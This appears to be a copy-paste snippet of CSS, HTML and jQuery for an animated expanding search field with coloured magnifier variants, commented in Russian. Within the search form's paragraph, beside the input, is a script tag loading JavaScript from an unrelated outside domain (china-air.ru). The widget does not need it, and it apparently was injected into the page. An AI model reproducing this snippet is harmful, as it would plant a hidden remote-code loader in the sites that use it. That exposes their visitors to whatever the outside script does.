#search {  
   font-family: Helvetica Neue, Helvetica, Arial, sans-serif;  
   background:#fff;  
   width: 8px;  
   padding: 0 8px;  
   height: 24px;  
   font-size: 14px;  
   color: #666;  
   line-height: 24px;  
   border: 0;  
   outline: none;  
   border-radius: 50px;  
   position: relative;  
   z-index: 5;  
   -moz-transition: .1s ease;  
   -ms-transition: .1s ease;  
   -webkit-transition: .1s ease;  
   -o-transition: .1s ease;  
   transition: .1s ease;  
   cursor:pointer;  
  }  
  #search:focus {  
   border: 0;  
   outline: none;  
   width: 180px; /*ширина открытой формы*/  
  }  
  p.s {  
   z-index: 4;  
   position: relative;  
   padding: 6px;  
   border-radius: 100px;  
   background: #abc8df;  
   display: inline-block;  
   cursor:pointer;  
  }  
  p.s:hover, p.s:hover:after {  
   background: #9eb9cf;  
  }  
  p.s_fo {  
   -o-transition: 0.9s;  
   -moz-transition: 0.9s;  
   -ms-transition: 0.9s;  
   -webkit-transition: 0.9s;  
   transition: 0.9s;  
   -moz-transform: rotate(1080deg);  
   -ms-transform: rotate(1080deg);  
   -webkit-transform: rotate(1080deg);  
   -o-transform: rotate(1080deg);  
   transform: rotate(1080deg);  
  }  
  p.s:after {  
   content: '';  
   display: block;  
   position: absolute;  
   width: 7px;  
   height: 12px;  
   background: #abc8df;  
   bottom: -4px;  
   right: -2px;  
   border-radius: 0 0 5px 5px;  
   -moz-transform: rotate(-45deg);  
   -ms-transform: rotate(-45deg);  
   -webkit-transform: rotate(-45deg);  
   -o-transform: rotate(-45deg);  
   transform: rotate(-45deg);  
  }  
  .blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/  
  .blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/  
  .green p.s, .green p.s:after {background:#65b11c;}  
  .green p.s:hover, .green p.s:hover:after {background:#599c18;}  
  .gray p.s, .gray p.s:after {background:#d7d7d7;}  
  .gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}  
  .pink p.s, .pink p.s:after {background:#ffbcef;}  
  .pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}  
  .orange p.s, .orange p.s:after {background:#faaa3a;}  
  .orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}  
  .black p.s, .black p.s:after {background:#676767;}  
  .black p.s:hover, .black p.s:hover:after {background:#484747;}

<form method="get" action="/search/" class="blue">  
   <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>  
  </form>

<script>  
  jQuery(document).ready(function () {  
   $('#search').focusout(function(){  
   $('p.s').addClass("s_fo");  
   });  
   $('#search').focusin(function(){  
   $('p.s').removeClass("s_fo");  
   });  
  });  
  </script>